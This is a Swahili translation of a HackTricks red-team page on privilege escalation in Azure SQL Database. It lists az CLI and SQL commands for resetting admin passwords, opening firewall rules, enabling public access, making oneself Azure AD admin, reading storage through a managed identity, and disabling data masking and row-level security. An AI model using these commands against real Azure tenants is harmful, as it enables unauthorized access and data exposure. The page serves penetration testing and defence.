Az - SQL Database Privesc

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

SQL Database Privesc

Kwa maelezo zaidi kuhusu SQL Database angalia:

Az - SQL

Microsoft.Sql/servers/read && Microsoft.Sql/servers/write

Kwa ruhusa hizi, mtumiaji anaweza kufanya kupandisha hadhi kwa kuboresha au kuunda Azure SQL servers na kubadilisha mipangilio muhimu, ikiwa ni pamoja na akidi za usimamizi. Ruhusa hii inamruhusu mtumiaji kuboresha mali za seva, ikiwa ni pamoja na nenosiri la msimamizi wa SQL server, na kuwezesha ufikiaji usioidhinishwa au udhibiti juu ya seva. Wanaweza pia kuunda seva mpya, ambayo inaweza kuanzisha miundombinu ya kivuli kwa madhumuni mabaya. Hii inakuwa muhimu hasa katika mazingira ambapo "Microsoft Entra Authentication Only" imezimwa, kwani wanaweza kutumia uthibitishaji wa SQL kupata ufikiaji usio na kikomo.

bash
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>

# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>

Zaidi ya hayo, ni muhimu kuwa na ufikiaji wa umma ulioanzishwa ikiwa unataka kufikia kutoka kwa kiunganishi kisichokuwa cha kibinafsi, ili kuuwezesha:

bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true

Zaidi ya hayo, kwa ruhusa unaweza kuwezesha kitambulisho kilichopewa, kufanya kazi na kitambulisho kinachosimamiwa kilichounganishwa na seva. Kwa mfano hapa na kitambulisho kinachosimamiwa ambacho kinaweza kufikia Azure Storage:

bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
sql
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO


CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO

SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO

Microsoft.Sql/servers/firewallRules/write

Mshambuliaji anaweza kubadilisha sheria za firewall kwenye Azure SQL servers ili kuruhusu ufikiaji usioidhinishwa. Hii inaweza kutumika kufungua server kwa anwani maalum za IP au anuwai nzima za IP, ikiwa ni pamoja na IP za umma, ikiruhusu ufikiaji kwa wahusika wabaya. Shughuli hii ya baada ya kushambulia inaweza kutumika kupita udhibiti wa usalama wa mtandao uliopo, kuanzisha kudumu, au kuwezesha harakati za upande ndani ya mazingira kwa kufichua rasilimali nyeti.

bash
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>

# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>

Zaidi ya hayo, Microsoft.Sql/servers/outboundFirewallRules/delete ruhusa inakuwezesha kufuta Sheria ya Firewall.
KUMBUKA: Ni muhimu kuwa na ufikiaji wa umma ulioanzishwa

Microsoft.Sql/servers/ipv6FirewallRules/write

Kwa ruhusa hii, unaweza kuunda, kubadilisha, au kufuta sheria za firewall za IPv6 kwenye Azure SQL Server. Hii inaweza kumwezesha mshambuliaji au mtumiaji aliyeidhinishwa kupita mipangilio ya usalama wa mtandao iliyopo na kupata ufikiaji usioidhinishwa kwenye seva. Kwa kuongeza sheria inayoruhusu trafiki kutoka anwani yoyote ya IPv6, mshambuliaji anaweza kufungua seva kwa ufikiaji wa nje.

bash
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>

Additionally, Microsoft.Sql/servers/ipv6FirewallRules/delete ruhusa inakuwezesha kufuta Sheria ya Firewall.
NOTE: Ni muhimu kuwa na ufikiaji wa umma ulioanzishwa

Microsoft.Sql/servers/administrators/write && Microsoft.Sql/servers/administrators/read

Kwa ruhusa hizi unaweza privesc katika mazingira ya Azure SQL Server kwa kufikia hifadhidata za SQL na kupata taarifa muhimu. Kwa kutumia amri iliyo hapa chini, mshambuliaji au mtumiaji aliyeidhinishwa anaweza kujipatia au kuweka akaunti nyingine kama msimamizi wa Azure AD. Ikiwa "Microsoft Entra Authentication Only" imeanzishwa unaweza kufikia seva na mifano yake. Hapa kuna amri ya kuweka msimamizi wa Azure AD kwa seva ya SQL:

bash
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>

Microsoft.Sql/servers/azureADOnlyAuthentications/write && Microsoft.Sql/servers/azureADOnlyAuthentications/read

Kwa ruhusa hizi, unaweza kuunda na kutekeleza "Microsoft Entra Authentication Only" kwenye Azure SQL Server, ambayo inaweza kusaidia kupandisha hadhi katika hali fulani. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hizi anaweza kuwezesha au kuzima uthibitishaji wa Azure AD pekee.

bash
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>

#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>

Microsoft.Sql/servers/databases/dataMaskingPolicies/write

Badilisha (au zima) sera za kuficha data kwenye hifadhidata zako za SQL.

bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'

Remove Row Level Security

Ikiwa umeingia kama admin, unaweza kuondoa sera za admin mwenyewe na watumiaji wengine.

sql
DROP SECURITY POLICY [Name_of_policy];

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks